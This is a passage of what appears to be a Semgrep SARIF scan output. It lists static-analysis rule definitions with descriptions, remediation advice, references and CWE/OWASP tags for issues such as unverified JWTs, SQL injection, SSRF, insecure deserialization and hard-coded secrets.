token.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"Detected the decoding of a JWT token without a verify step. JWT tokens must be verified before use, otherwise the token's integrity is unknown. This means a malicious actor could forge a JWT token with any claims. Call '.verify()' before using the token."},"helpUri":"https://semgrep.dev/r/javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify","id":"javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify","name":"javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify","properties":{"precision":"very-high","tags":["CWE-345: Insufficient Verification of Data Authenticity","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.jsonwebtoken.security.audit.jwt-decode-without-verify.jwt-decode-without-verify"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data being passed into a file open, which is them passed as an argument into the FileResponse. This is dangerous because an attacker could specify an arbitrary file to read, which could result in leaking important data. Be sure to validate or sanitize the user-inputted filename in the request data before using it in FileResponse."},"help":{"markdown":"Found user-controlled request data being passed into a file open, which is them passed as an argument into the FileResponse. This is dangerous because an attacker could specify an arbitrary file to read, which could result in leaking important data. Be sure to validate or sanitize the user-inputted filename in the request data before using it in FileResponse.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.request-data-fileresponse.request-data-fileresponse)\n - [https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss](https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss)\n","text":"Found user-controlled request data being passed into a file open, which is them passed as an argument into the FileResponse. This is dangerous because an attacker could specify an arbitrary file to read, which could result in leaking important data. Be sure to validate or sanitize the user-inputted filename in the request data before using it in FileResponse."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.request-data-fileresponse.request-data-fileresponse","id":"python.django.security.injection.request-data-fileresponse.request-data-fileresponse","name":"python.django.security.injection.request-data-fileresponse.request-data-fileresponse","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.request-data-fileresponse.request-data-fileresponse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"help":{"markdown":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://web.dev/articles/samesite-cookies-explained](https://web.dev/articles/samesite-cookies-explained)\n","text":"Detected a cookie options with the `SameSite` flag set to \"None\". This is a potential security risk that arises from the way web browsers manage cookies. In a typical web application, cookies are used to store and transmit session-related data between a client and a server. To enhance security, cookies can be marked with the \"SameSite\" attribute, which restricts their usage based on the origin of the page that set them. This attribute can have three values: \"Strict,\" \"Lax,\" or \"None\". Make sure the `SameSite` attribute of the important cookies (e.g., session cookie) is set to a reasonable value. When `SameSite` is set to \"Strict\", no 3rd party cookie will be sent with outgoing requests, this is the most secure and private setting but harder to deploy with good usability. Setting it to \"Lax\" is the minimum requirement."},"helpUri":"https://semgrep.dev/r/java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none","id":"java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none","name":"java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none","properties":{"precision":"very-high","tags":["CWE-1275: Sensitive Cookie with Improper SameSite Attribute","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.audit.cookies.cookie-samesite-none.cookie-samesite-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"help":{"markdown":"Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4)\n - [https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms](https://www.pycryptodome.org/src/hash/hash#modern-hash-algorithms)\n - [https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html](https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html)\n - [https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability](https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability)\n - [http://2012.sharcs.org/slides/stevens.pdf](http://2012.sharcs.org/slides/stevens.pdf)\n - [https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html](https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html)\n","text":"Detected MD4 hash algorithm which is considered insecure. MD4 is not collision resistant and is therefore not suitable as a cryptographic signature. Use a modern hash algorithm from the SHA-2, SHA-3, or BLAKE2 family instead."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4","id":"python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4","name":"python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insecure-hash-algorithm-md4.insecure-hash-algorithm-md4"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret","id":"python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret","name":"python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.mariadb.python-mariadb-hardcoded-secret.python-mariadb-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password","id":"rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password","name":"rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.hardcoded-password.hardcoded-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application was observed to store keychain items that leverage user authentication but allow the passcode fallback. Biometric modalities are considered more secure than 4 or 6 digit pincodes on iOS, and should be preferred over the passcode."},"help":{"markdown":"The application was observed to store keychain items that leverage user authentication but allow the passcode fallback. Biometric modalities are considered more secure than 4 or 6 digit pincodes on iOS, and should be preferred over the passcode.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06f-testing-local-authentication)\n","text":"The application was observed to store keychain items that leverage user authentication but allow the passcode fallback. Biometric modalities are considered more secure than 4 or 6 digit pincodes on iOS, and should be preferred over the passcode."},"helpUri":"https://semgrep.dev/r/swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback","id":"swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback","name":"swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.biometrics-and-auth.pass-fallback.keychain-passcode-fallback"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string)\n - [https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet](https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as Sequelize which will protect your queries."},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string","id":"ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string","name":"ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.ssrf.reqwest-taint.reqwest-taint)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/rust.rocket.ssrf.reqwest-taint.reqwest-taint","id":"rust.rocket.ssrf.reqwest-taint.reqwest-taint","name":"rust.rocket.ssrf.reqwest-taint.reqwest-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.ssrf.reqwest-taint.reqwest-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl","id":"python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl","name":"python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.net.tainted-fastapi-http-request-pycurl.tainted-fastapi-http-request-pycurl"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The AWS EBS is unencrypted. The AWS EBS encryption protects data in the EBS."},"help":{"markdown":"The AWS EBS is unencrypted. The AWS EBS encryption protects data in the EBS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"The AWS EBS is unencrypted. The AWS EBS encryption protects data in the EBS."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted","id":"terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted","name":"terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ebs-unencrypted.aws-ebs-unencrypted"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `ObjectInputStream`. If you must, you can try overriding the `ObjectInputStream#resolveClass()` method or using a safe replacement for the generic `readObject()` method."},"helpUri":"https://semgrep.dev/r/java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring","id":"java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring","name":"java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.objectinputstream-deserialization-spring.objectinputstream-deserialization-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Service '$SERVICE' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this."},"help":{"markdown":"Service '$SERVICE' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.docker-compose.security.no-new-privileges.no-new-privileges)\n - [https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"Service '$SERVICE' allows for privilege escalation via setuid or setgid binaries. Add 'no-new-privileges:true' in 'security_opt' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.docker-compose.security.no-new-privileges.no-new-privileges","id":"yaml.docker-compose.security.no-new-privileges.no-new-privileges","name":"yaml.docker-compose.security.no-new-privileges.no-new-privileges","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.docker-compose.security.no-new-privileges.no-new-privileges"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"help":{"markdown":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems](https://wiki.sei.cmu.edu/confluence/display/c/STR02-C.+Sanitize+data+passed+to+complex+subsystems)\n","text":"Untrusted input might be used to build an LDAP query, which can allow attackers to run arbitrary LDAP queries. If an LDAP query must contain untrusted input then it must be escaped."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter","id":"cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter","name":"cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.ldap.ldap-injection-filter.ldap-injection-filter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure IAM policies don't allow resource exposure. These actions can expose AWS resources to the public. For example `ecr:SetRepositoryPolicy` could let an attacker retrieve container images. Instead, use another action that doesn't expose AWS resources."},"help":{"markdown":"Ensure IAM policies don't allow resource exposure. These actions can expose AWS resources to the public. For example `ecr:SetRepositoryPolicy` could let an attacker retrieve container images. Instead, use another action that doesn't expose AWS resources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure)\n - [https://cloudsplaining.readthedocs.io/en/latest/glossary/resource-exposure/](https://cloudsplaining.readthedocs.io/en/latest/glossary/resource-exposure/)\n - [https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPermissionsManagement.py](https://github.com/bridgecrewio/checkov/blob/ca830e14745c2c8e1b941985f305abe985d7f1f9/checkov/terraform/checks/data/aws/IAMPermissionsManagement.py)\n","text":"Ensure IAM policies don't allow resource exposure. These actions can expose AWS resources to the public. For example `ecr:SetRepositoryPolicy` could let an attacker retrieve container images. Instead, use another action that doesn't expose AWS resources."},"helpUri":"https://semgrep.dev/r/terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure","id":"terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure","name":"terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure","properties":{"precision":"very-high","tags":["CWE-200: Exposure of Sensitive Information to an Unauthorized Actor","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.iam.no-iam-resource-exposure.no-iam-resource-exposure"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. To build SQL queries safely in PHP, it is possible to adopt prepared statements by using `PDO` with bind variables using `bindParam()`."},"helpUri":"https://semgrep.dev/r/php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection","id":"php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection","name":"php.laravel.security.laravel-native-sql-injection.laravel-native-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: 